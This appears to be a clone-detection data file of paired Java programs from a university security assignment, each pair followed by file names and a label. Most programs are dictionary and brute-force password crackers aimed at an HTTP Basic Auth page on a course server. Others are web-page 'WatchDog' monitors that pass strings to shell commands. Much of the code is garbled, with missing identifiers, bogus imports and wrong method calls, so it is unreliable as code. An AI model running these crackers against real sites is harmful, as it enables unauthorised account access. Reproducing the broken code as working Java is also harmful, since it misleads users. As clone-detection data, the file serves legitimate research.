PasswordFailureException() { } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
169.java
161.java
0
package java.httputils; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileReader; import java.io.IOException; import java.io.OutputStream; public class WatchDog { protected final int MILLIS_IN_HOUR = (60 * 60 * 1000); protected int interval = 24; protected String URL = "http://www.cs.rmit.edu./students/"; protected String fileName = "WatchDogContent.html"; protected String command = "./alert_mail.sh"; protected String savedContent; protected String retrievedContent; public WatchDog() { super(); } public void run() throws Exception { HttpRequestClient client = null; System.out.println(getClass().getName() + "Retrieving baseline copy of: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + "Writing baseline content : " + getFileName()); writeFile(); while (true) { System.out.println(getClass().getName() + " Sleeping for hours: " + getInterval()); Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval()); System.out.println(getClass().getName() + " Retrieving: " + getURL()); client = new HttpRequestClient(getURL()); retrievedContent = client.getContent().toString(); System.out.println(getClass().getName() + " saved copy: " + getURL()); savedContent = readFile(); System.out.println(getClass().getName() + " Comparing saved and retrieved. "); if (!savedContent.equals(retrievedContent)) { System.out.println(getClass().getName() + " Difference found. "); writeTempFile(); runCommand(); } writeFile(); } } public String runCommand() { String cmd = getCommand() + " \"" + getURL() + "\""; try { Runtime r = Runtime.getRuntime(); System.out.println(getClass().getName() + " Executing: " + cmd); Process proc = r.exec(cmd); } catch (Exception e) { try { Runtime r = Runtime.getRuntime(); Process proc = r.exec(cmd); } catch (Exception ex) { System.out.println(getClass().getName() + " Could not run :" + getCommand() + " because : " + ex.getMessage()); } } return "Executed successfully"; } protected String readFile() throws FileNotFoundException { BufferedInputStream input = null; FileInputStream file = null; StringBuffer content = new StringBuffer(); try { file = new FileInputStream(getFileName()); input = new BufferedInputStream(file); } catch (FileNotFoundException x) { System.err.println("File not found: " + getFileName()); throw x; } try { int ch; while ((ch = input.get()) != -1) { content.append((char)ch); } } catch (IOException x) { x.printStackTrace(); } finally { if (input != null) { try { input.get(); file.get(); } catch (IOException e) { } } } return content.toString(); } protected void writeFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(getFileName(), false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } protected void writeTempFile() throws Exception { OutputStream os = null; try { os = new BufferedOutputStream( new FileOutputStream(".html", false)); os.write(getRetrievedContent().getBytes()); } catch (FileNotFoundException e) { e.printStackTrace(); throw e; } catch (IOException e) { e.printStackTrace(); throw e; } finally { if (os != null) { try { os.close(); } catch (IOException e) { } } } } public static void main(String[] args) { WatchDog watchDog = new WatchDog(); if (args.length < 3) { watchDog.printUsage(); } System.out.println(watchDog.getClass().getName() + ": Initialising with " + args[0] + " \n" + args[1] + " \n" + args[2] + " \n"); watchDog.setURL(args[0]); watchDog.setInterval(Integer.parseInt(args[1])); watchDog.setCommand(args[2]); try { System.out.println(watchDog.getClass().getName() + ": Invoking the run method."); watchDog.run(); } catch (Exception e) { e.printStackTrace(); } } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** WatchDog proper usage **\n\n"); s.append( this.getClass().getName() + " <URL> <interval> <Command execute>\n\n"); return s.toString(); } public String getCommand() { return command; } public String getFileName() { return fileName; } public int getInterval() { return interval; } public String getURL() { return URL; } public void setCommand(String string) { command = string; } public void setFileName(String string) { fileName = string; } public void setInterval(int i) { interval = i; } public void setURL(String string) { URL = string; } public String getRetrievedContent() { return retrievedContent; } public String getSavedContent() { return savedContent; } public void setRetrievedContent(String string) { retrievedContent = string; } public void setSavedContent(String string) { savedContent = string; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
068.java
161.java
0
import java.Object; import java.io.*; import java.String; import java.util.*; class Dictionary{ public static void main(String [] args){ try { Date d = new Date(); String line1=""; String ps=""; String file1 = "words.txt"; String file2 = "index.html"; String endline="Authorization failed."; String [] cmd = new String[4]; cmd[0] = "wget"; cmd[1] = "--http-user="; cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/"; FileReader fr1 = new FileReader(file1); BufferedReader in1 = new BufferedReader(fr1); while((line1 = in1.readLine())!=null) { try{ cmd[2] = connect(line1); Runtime.getRuntime().exec(cmd); if(line1.length()==3) ps = line1; System.out.println(cmd[2]); File f = new File(file2); if(f.exists()) { System.out.println("password: " + ps); break; } } catch(IOException ex) { System.out.println("hello1"); } } Date end = new Date(); System.out.println(d.toString()); System.out.println(end.toString()); System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds())); } catch(IOException e) { System.out.println("hello,didnt find file."); } } public static String connect(String str1) { char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='}; String str = new String(data); return str + str1; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
071.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; import javax.swing.text.html.*; import javax.swing.text.html.parser.*; import javax.swing.text.*; public class WatchDog { private URL url = null; private int time = 0; private ArrayList images = new ArrayList(); public WatchDog(String urlString, int time) { this.time = time; try{ this.url = new URL( urlString ); }catch(MalformedURLException mefu){ System.out.println(mefu.toString()); } } private URLConnection getConnection( ) throws IOException { URLConnection = url.openConnection(); return ; } public ArrayList parse()throws Exception{ HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){ public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){ if(HTML.Tag.IMG == t){ String image = (String)a.getAttribute(HTML.Attribute.SRC); image = image.trim(); if(image.charAt(0)=='/'){ image= url.getProtocol()+"://"+url.getHost()+(url.getPort()!=-1?":"+url.getPort():"")+image; }else if(image.toLowerCase().indexOf("http")==-1){ String tmp = "", path = ""; tmp= url.getProtocol()+"://"+url.getHost()+(url.getPort()!=-1?":"+url.getPort():""); path = url.getPath(); if(path.lastIndexOf("/") > 0) path = path.substring(0,path.lastIndexOf("/")+1); image = tmp+path+image; } System.out.println(image); images.add(image); } } }; URLConnection = getConnection(); this.images = new ArrayList(); Reader reader = new InputStreamReader( bf.getInputStream() ); ParserDelegator pd = new ParserDelegator(); pd.parse( reader , callback , true ); return images; } public void executeCommand(String command)throws Exception{ if(command == null) return; String [] command1 = new String[]{"//sh", "-c",command}; Process pc = Runtime.getRuntime().exec(command1); Thread.sleep(5000); } public void append(String fileName, String text) throws Exception { File f = new File(fileName); if(f.exists()){ fileLength = f.length(); RandomAccessFile raf = new RandomAccessFile(f, "rw"); raf.print(fileLength); raf.writeBytes(text); raf.print(); } else{ throw new FileNotFoundException(); } } public void concatenate(String file1, String file2, String file3)throws Exception{ File f = new File(file3); if(f.exists()) f.delete(); f.createNewFile(); BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); String line = ""; { line = dict.readLine(); if(line== null) break; this.append(file3, line+"\n"); } while(line!=null); dict.print(); dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); line = ""; { line = dict.readLine(); if(line== null) break; this.append(file3, line+"\n"); } while(line!=null); dict.print(); f = new File(file1); if(f.exists()) f.delete(); f = new File(file2); if(f.exists()) f.delete(); } public getTime(){ return this.time; } public static void main (String[] args) { if(args.length != 3){ System.out.println("usage: java attacks.WatchDog <url: e.g. http://www.cs.rmit.edu./students/> <time gap : e.g. 1440> <email: e.g. @cs.rmit.edu.>"); System.out.println("url: is the url monitor by watchdog"); System.out.println("time: is after much minutes, program should check url again"); System.out.println("email address: which email should sent of changes"); System.exit(1); } time = 0; try{ time = Integer.parseInt(args[1]); time = time*1000*60; }catch(NumberFormatException nfe){ System.out.println(nfe); System.exit(1); } WatchDog watchDog1 = new WatchDog(args[0], time); while(true){ try{ int ret; System.out.println("Downloading contents from "+args[0]); String command = new String("wget " + args[0] ); watchDog1.executeCommand(command); System.out.println("Retrieving images from "+args[0]); String images[] = (String[])watchDog1.parse().toArray(new String[0]); String imageNames = ""; int i; System.out.println("Downloading images "); for(i = 0; i < images.length; i++){ StringTokenizer = new StringTokenizer(new URL(images[i]).getPath(),"/"); String part = ""; while(i.hasMoreTokens()){ part = i.nextToken("/"); } imageNames+=part+" "; command = new String("wget " +images[i]+" -O "+part); watchDog1.executeCommand(command); } command = new String("md5sum " +imageNames + ">md5sums.txt"); watchDog1.executeCommand(command); command = new String("rm " +imageNames); watchDog1.executeCommand(command); watchDog1.concatenate("index.html", "md5sums.txt", "indexNew.txt"); File f = new File("indexOld.txt"); if(f.exists()){ System.out.println("Comparing ..."); command = new String("diff indexOld.txt indexNew.txt>diff.txt"); watchDog1.executeCommand(command); File difFile = new File("diff.txt"); if(difFile.exists() && difFile.length() > 0){ command = new String("less diff.txt | mail "+args[2]); watchDog1.executeCommand(command); System.out.println("URL changed, Changes has been e-mailed "+ args[2]); }else{ System.out.println(" difference found.."); } }else System.out.println("Since old file does not exist, changes detected"); command = new String("mv indexNew.txt indexOld.txt"); watchDog1.executeCommand(command); System.out.println("Watch Dog is going sleep for "+watchDog1.getTime()/1000/60+" minutes.."); Thread.sleep(watchDog1.getTime()); System.out.println("Checking the every "+watchDog1.getTime()/1000/60+" minutes.."); }catch(IOException ioe){ ioe.printStackTrace(); }catch(InterruptedException e){ e.printStackTrace(); }catch(Exception e){ e.printStackTrace(); } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
070.java
161.java
0
import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println("Error opening dictionary file:\n" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1"); urlConnection.setRequestProperty("Host", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + ":" + password; urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print("\b \b"); else System.out.print("\b\b\b."); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println("usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>"); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println("Cracking started at: " + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println("\nPassword is: "+password); else System.out.println("\nPassword could not retrieved!"); cal2 = Calendar.getInstance(); System.out.println("Cracking finished at: " + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec"); System.out.println("Total attempts : " + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
012.java
161.java
0
import java.net.*; import java.io.*; import java.util.regex.*; import java.util.Date; import java.util.*; import java.text.*; public class WatchDog { public static BufferedReader in; public static int LIMITINMINUTES=60*24; public static int TIMELIMIT=LIMITINMINUTES*1000*60; public static void main(String[] args) throws Exception { String watchedPage = "http://www.cs.rmit.edu./students/"; String currentPage = ""; System.out.println(" stop the program, press \"Alt + C\""); boolean loggedout=false; while (!loggedout){ currentPage=""; Date date = new Date(); startTime=date.getTime(); URL cs = new URL(watchedPage); HttpURLConnection connection; URLConnection csc = cs.openConnection(); try { BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) { currentPage = currentPage+inputLine; } } catch (IOException s) { } finally { while(in!=null) in.next(); } String lastPage=readData(); if (lastPage.trim().equals(currentPage.trim())) { System.out.println("Pages match, nothing email."); } else { String checkCurrentPage = currentPage.trim(); String checkLastPage = lastPage.trim(); int iterations; boolean lastLongestString; if (checkCurrentPage.length()<checkLastPage.length()) { iterations = checkCurrentPage.length(); lastLongestString = true; } else { iterations = checkLastPage.length(); lastLongestString = false; } String additions = "Here the additions the : \n"; boolean add=false; String subtractions = "Here the parts removed from the : \n"; boolean sub=false; for (int count=0; count<iterations; count++) { if (checkLastPage.length()>count && checkCurrentPage.length()>count){ if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) { if (count<20){ additions = "Sorry changes together distinguish additions and subtractions . Here is where : "+ checkCurrentPage.substring(count, checkCurrentPage.length()); count = iterations; } else { checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length()); checkLastPage=checkLastPage.substring(count, checkLastPage.length()); iterations=iterations-count; count=0; String regexAdd=""; if (checkLastPage.length()<20){ regexAdd=checkLastPage.substring(count, checkLastPage.length()); } else { regexAdd=checkLastPage.substring(0,19); } String [] changes=checkCurrentPage.split(regexAdd, 2); int changeslength=changes.length; if (changeslength>1){ add=true; additions = additions + changes[0]; if (changeslength>1){ checkCurrentPage=regexAdd+changes[1]; } else { if (lastLongestString==true) count=iterations; } } else { String regexSub=""; if (checkCurrentPage.length()<20){ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length()); } else { regexSub=checkCurrentPage.substring(0,19); } String [] changesSub=checkLastPage.split(regexSub, 2); int changeslengthSub=changesSub.length; if (changeslengthSub>1){ sub=true; subtractions = subtractions + changesSub[0]; if (changeslengthSub>1){ checkLastPage=regexSub+changesSub[1]; } else { if (lastLongestString==false) count=iterations; } } } } } } } String emailBody="Changes have been . \n"+additions+subtractions; sendEmail(emailBody); } writeData(currentPage); wait24(startTime); } } private static void wait24( int startTime) { boolean waiting=true; while(waiting){ Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ waiting=false; } } } public static String readData() { String data; String lastPage=""; try { BufferedReader in = new BufferedReader(new FileReader("LastVisitedPage.html")); while ((data = in.readLine())!=null) { lastPage= lastPage + data +"\n"; } } catch (FileNotFoundException e1) { System.exit(0); } catch (IOException e2) { System.out.println("IO Exception, exiting"); System.exit(0); } finally { try { if (null!=in) { in.next(); } } catch (IOException e3) {} } return lastPage; } public static void writeData(String currentPage) { PrintWriter out; try { out = new PrintWriter (new BufferedWriter(new FileWriter("LastVisitedPage.html"))); out.println(currentPage); } catch (IllegalArgumentException e1) { System.out.println ("Sorry, 't write file. None of changes in this session have been saved"); System.exit(0); } catch (IOException e2) { System.out.println ("Sorry, 't write file. None of changes in this session have been saved"); System.exit(0); } finally {} } public static void sendEmail(String emailBody){ Socket smtpSocket =null; DataOutputStream os = null; InputStreamReader is = null ; Date dDate = new Date(); DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US); try{ smtpSocket = new Socket(".rmit.edu.", 25); os = new DataOutputStream(smtpSocket.getOutputStream()); is = new InputStreamReader(smtpSocket.getInputStream()); BufferedReader = new BufferedReader(is); if(smtpSocket != null && os != null && is != null){ try { os.writeBytes("HELO .rmit.edu.\r\n"); os.writeBytes("MAIL From: <@.rmit.edu.>\r\n"); os.writeBytes("RCPT : <@cs.rmit.edu.>\r\n"); os.writeBytes("DATA\r\n"); os.writeBytes("X-Mailer: Via Java\r\n"); os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n"); os.writeBytes("From: <@cs.rmit.edu.>\r\n"); os.writeBytes(": <@cs.rmit.edu.>\r\n"); os.writeBytes("Subject: updated\r\n"); os.writeBytes(emailBody + "\r\n"); os.writeBytes("\r\n.\r\n"); os.writeBytes("QUIT\r\n"); String responseline; while((responseline=is.readLine())!=null){ if(responseline.indexOf("Ok") != -1) { break; } } } catch(Exception e){ System.out.println("Cannot send email as error occurred."); } } else System.out.println("smtpSocket another variable is null!"); } catch(Exception e){ System.out.println("Host unknown"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
135.java
161.java
0
import java.util.*; import java.io.*; public class WatchDog { public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
117.java
161.java
0
import java.util.*; public class CrackThread implements Runnable { private String strUsername; private String strURL; private int iSeed; private int iEnd; public CrackThread() { } public void setParams(String url, String username, int seed, int end) { strUsername = username; strURL = url; iSeed = seed; iEnd = end; } public void run() { Date dtStart, dtEnd; PasswordGen pwd = new PasswordGen(); PasswordTest tester; int i=1; boolean bDone = false; Result res; dtStart = new Date(); pwd.setSeed(iSeed); while(!bDone) { tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); bDone = tester; i++; if(i % 100 == 0) { System.out.println(pwd.getPassword()); } if(bDone) { res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); System.out.print(res.toString()); } else { } if( i >= iEnd) bDone = true; } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
168.java
161.java
0
package java.httputils; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.Observable; import java.util.Observer; public class BruteForceThreadPool extends ThreadGroup implements Observer { protected String URL = "http://localhost:8080/secret/index.html"; protected int poolSize = 6; protected Collection threadList = new ArrayList(); protected String fileName = "BruteForceReport.txt"; protected boolean finished = false; protected String userName = ""; public BruteForceThreadPool(String name) { super(name); } public BruteForceThreadPool(ThreadGroup parent, String name) { super(parent, name); } public synchronized void update(Observable o, Object arg) { System.out.println("Update method called the observer."); RunnableBruteForce rbf = (RunnableBruteForce) o; rbf.createReport(); for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); target.setStop(true); } finished = true; } protected void start(int threads) { int load = BruteForce.letters.length / threads; int remainder = BruteForce.letters.length % threads; for (int i = 0, end = ( + load); end < BruteForce.letters.length; i = end, end += load) { RunnableBruteForce runnable = new RunnableBruteForce(); runnable.setURL(getURL()); runnable.setRangeStart(); runnable.setUserName(userName); runnable.setRangeEnd( end + load > BruteForce.letters.length ? BruteForce.letters.length : end); runnable.addObserver(this); runnable.setFileName(getFileName()); threadList.add(runnable); } for (Iterator iter = threadList.iterator(); iter.hasNext();) { RunnableBruteForce target = (RunnableBruteForce) iter.next(); new Thread(target).start(); } } public static void main(String[] args) { BruteForceThreadPool pool = new BruteForceThreadPool("BruteForceThreadGroup"); if (args.length < 4) { pool.printUsage(); return; } pool.setURL(args[0]); pool.userName = args[1]; pool.setFileName(args[2]); pool.get(Integer.parseInt(args[3])); while (true) { try { Thread.currentThread().sleep(100); if (pool.finished) { break; } } catch (InterruptedException e) { e.printStackTrace(); } } System.exit(0); } public String printUsage() { StringBuffer s = new StringBuffer(); s.append("** BruteForceThreadPool proper usage **\n\n"); s.append( "java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n"); return s.toString(); } public Collection getThreadList() { return threadList; } public void setThreadList(Collection collection) { threadList = collection; } public String getFileName() { return fileName; } public void setFileName(String string) { fileName = string; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } public int getPoolSize() { return poolSize; } public void setPoolSize(int i) { poolSize = i; } }
